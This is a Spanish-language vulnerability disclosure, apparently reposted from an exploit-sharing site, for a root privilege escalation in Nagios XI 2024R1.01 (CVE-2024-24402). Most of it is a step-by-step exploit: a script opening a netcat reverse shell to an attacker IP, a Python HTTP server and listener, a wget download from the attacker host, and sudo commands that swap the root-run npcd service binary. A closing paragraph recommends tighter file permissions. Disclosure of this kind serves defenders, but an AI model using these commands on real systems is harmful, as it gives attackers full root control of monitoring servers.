Informe de Vulnerabilidad

CVE descubierto por: Jarod Jaslow (MAWK)

Detalles de la Vulnerabilidad:

• Endpoint: Nagios XI Versión 2024R1.01
• Tipo de Vulnerabilidad: Escalada de Privilegios desde el Usuario "NAGIOS"
• Resultado de la Explotación: Acceso root completo en el sistema objetivo

Pasos para Reproducir:

1. Crear una Instancia Nueva de Nagios XI Versión 2024R1.01:

• Descargue el archivo OVA de Nagios XI desde: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
• Implemente el OVA para crear una instancia nueva.
• Usando mi informe anterior, obtenga RCE en el servidor

2. Abuse de la Escalada de Privilegios:

• Como el usuario "NAGIOS," cree un archivo en la máquina del atacante con el siguiente contenido:

  root@kitploit:~

  #!/bin/bash
  nc -e /bin/bash <Attacker IP> 4445
  

• Aloje el archivo en la máquina del atacante mediante un servidor HTTP de Python:

  root@kitploit:~

  python3 -m http.server 8000
  

• Inicie un servidor de escucha Netcat (NC) en la máquina del atacante:

  root@kitploit:~

  nc -nlvp 4445
  

3. Ejecutar la Explotación en la Computadora Víctima:

• Obtenga el archivo desde la máquina del atacante:

  root@kitploit:~

  wget http://<Attacker IP>:8000/npcd
  

• Ejecute los siguientes comandos para escalar privilegios y recibir una conexión como root:

  root@kitploit:~

  sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
  cp npcd /usr/local/nagios/bin/npcd
  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
  

Recomendación:

Se recomienda restringir la capacidad del usuario "NAGIOS" para escribir en los ejecutables de servicios de Nagios que se ejecutan como root. Esto se puede lograr implementando permisos de archivo y controles de acceso más estrictos para los directorios y archivos relevantes asociados con los servicios de Nagios.

Esto debería corregirse en los nuevos lanzamientos

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402